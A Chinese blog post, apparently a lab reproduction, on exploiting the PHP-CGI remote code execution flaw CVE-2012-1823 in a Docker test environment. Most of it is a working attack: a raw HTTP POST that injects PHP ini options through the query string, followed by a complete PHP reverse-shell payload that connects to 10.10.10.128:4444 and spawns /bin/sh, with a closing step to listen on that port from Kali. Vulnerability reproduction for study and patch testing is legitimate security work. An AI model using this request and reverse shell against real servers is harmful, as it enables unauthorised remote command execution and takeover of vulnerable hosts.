首页 > 编程语言 >PHP-CGI远程1代码执行漏洞(CVE-2012-1823)

PHP-CGI远程1代码执行漏洞(CVE-2012-1823)

时间:2024-03-14 19:34:21浏览次数:20  
标签:CGI read printit pipes sock 代码执行 input array CVE

影响版本 php < 5.3.12 or php < 5.4.2
测试环境

cd php/cve-2012-1823
docker-compose up -d

访问http://your-ip:8080/index.php?-s即爆出源码,说明漏洞存在。发送如下数据包,可见Body中的代码已被执行:

POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31


  <?php
  // php-reverse-shell - A Reverse Shell implementation in PHP
  // Copyright (C) 2007 [email protected]

  set_time_limit (0);
  $VERSION = "1.0";
  $ip = '10.10.10.128';  // You have changed this
  $port = 4444;  // And this
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $shell = 'uname -a; w; id; /bin/sh -i';
  $daemon = 0;
  $debug = 0;

  //
  // Daemonise ourself if possible to avoid zombies later
  //

  // pcntl_fork is hardly ever available, but will allow us to daemonise
  // our php process and avoid zombies.  Worth a try...
  if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
    }
    
    if ($pid) {
      exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
    }

    $daemon = 1;
  } else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  }

  // Change to a safe directory
  chdir("/");

  // Remove any umask we inherited
  umask(0);

  //
  // Do the reverse shell...
  //

  // Open reverse connection
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
  }

  // Spawn shell process
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  );

  $process = proc_open($shell, $descriptorspec, $pipes);

  if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
  }

  // Set everything to non-blocking
  // Reason: Occsionally reads will block, even though stream_select tells us they won't
  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);

  printit("Successfully opened reverse shell to $ip:$port");

  while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
    }
  }

  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);

  // Like print, but does nothing if we've daemonised ourself
  // (I can't figure out how to redirect STDOUT like a proper daemon)
  function printit ($string) {
    if (!$daemon) {
      print "$string
";
    }
  }

  ?> 

img
在kali监听4444端口
img

标签:CGI,read,printit,pipes,sock,代码执行,input,array,CVE
From: https://www.cnblogs.com/kalixcn/p/18073738

相关文章

  • docker 制作与使用 arcgisserver 镜像
    PS:有状态服务本身不适合部署到容器中,数据恢复比较困难,生产环境请直接安装到Linux服务器中1.准备内容在同级目录下,准备以下内容空的dockerfile文件:arcgisserver.dockerfilelinux版的ArcGISServer安装包:ArcGIS_Server_Linux_xxxxxx.tar.gzArcGISServer的许可文件:ArcGI......
  • CVE-2023-48906
    github:https://github.com/bluekitchen/btstack/issues/546Inthebtstacksourcecode,wecanfindaninterestingpieceofcode.charchar_for_nibble(intnibble){staticconstchar*char_to_nibble="0123456789ABCDEF";if(nibble<1......
  • 使用 Keras 和 ArcGIS Pro 通过 Mask-RCNN/DeepLabV3+ 进行 EagleView 高分辨率图像语
            机器学习中的计算机视觉为GIS提供了巨大的机会。其任务包括获取、处理、分析和理解数字图像的方法,以及从现实世界中提取高维数据以产生数字或符号信息,例如以决策的形式。在过去的几年中,计算机视觉越来越多地从传统的统计方法转向最先进的深度学习神经网络技......
  • CVE-2023-49442 利用分析
    1.漏洞介绍JEECG(J2EECodeGeneration)是开源的代码生成平台,目前官方已停止维护。JEECG4.0及之前版本中,由于/api接口鉴权时未过滤路径遍历,攻击者可构造包含 ../的url绕过鉴权。攻击者可构造恶意请求利用 jeecgFormDemoController.do?interfaceTest接口进行jndi注入攻击实现......
  • arcgis用一个图层分割另一个图层
    现有用线图层A、面图层B,需使用A图层分割B图层,操作步骤如下:1、打开Editor编镇工具条,单击StartEditing开始编辑。2、鼠标选中线对象,或者全选线图层(右键单机线图层A依次执行“选择/选择全部”)。 3、打开Advancedediting工具条。 4、选择splitpolygons,点确定后,自动按......
  • CVE-2024-20931【复现】
    漏洞编号:CVE-2024-20931一、环境准备:1台Windows主机(10.46.47.227)作为攻击机|1台centos虚拟机(192.168.172.172)作为目标机|虚拟机网络模式为nat二、搭建漏洞环境1、docker拉取镜像1.1dockerpullismaleiva90/weblogic12|我已先完成(截图丢失),大概4~5g,拉取问题:国内镜像证......
  • NTPD monlist Command Enabled|CVE-2013-5211
    NTPDmonlistCommandEnabled|CVE-2013-5211目录NTPDmonlistCommandEnabled|CVE-2013-52111描述2影响范围3漏洞检测3.1Nmap检测4缓解措施5防御措施1描述NTP是用来使计算机时间同步化的一种协议。CVE-2013-5211最早公布是2014年1月10日攻击者HACK发送了一个......
  • Windows RDP远程漏洞|CVE-2019-0708
    WindowsRDP远程漏洞|CVE-2019-0708目录WindowsRDP远程漏洞|CVE-2019-07081描述:2影响范围:3漏洞检测3.10708detector3.1.1程序说明3.1.2下载地址3.1.3使用方法3.2cve_2019_0708_bluekeep.rb4缓解措施5修复建议:1描述:北京时间2019年5月14日当未经身份验证的攻击者使......
  • 问题:arcgis10.1连接SDE数据库时提示,未找到arcgis许可
    转自:https://blog.csdn.net/wodeboke_123/article/details/103800407因为我的许可文件是到2020年,所以SDE许可过期。1.问题如下:2.用PL/SQL打开自己的数据库,如图: 3.搜索SERVER_CONFIG表,其中的AUTH_KEY字段是许可信息,用语句改为新的授权信息即可 4.修改sql语句为:select*......
  • CVE-2017-1000353分析
    影响版本Jenkins主版本<=2.56版本)JenkinsLTS<=2.46.1版本)漏洞分析漏洞发生在jenkinscli采用http方式进行通信的时候,处理url为http://127.0.0.1:8080/cli,其处理逻辑在hudson.cli.CLIAction中jenkins采用的是Stapler框架,CLIAction实现了两个接口,分别是UnprotectedRootActio......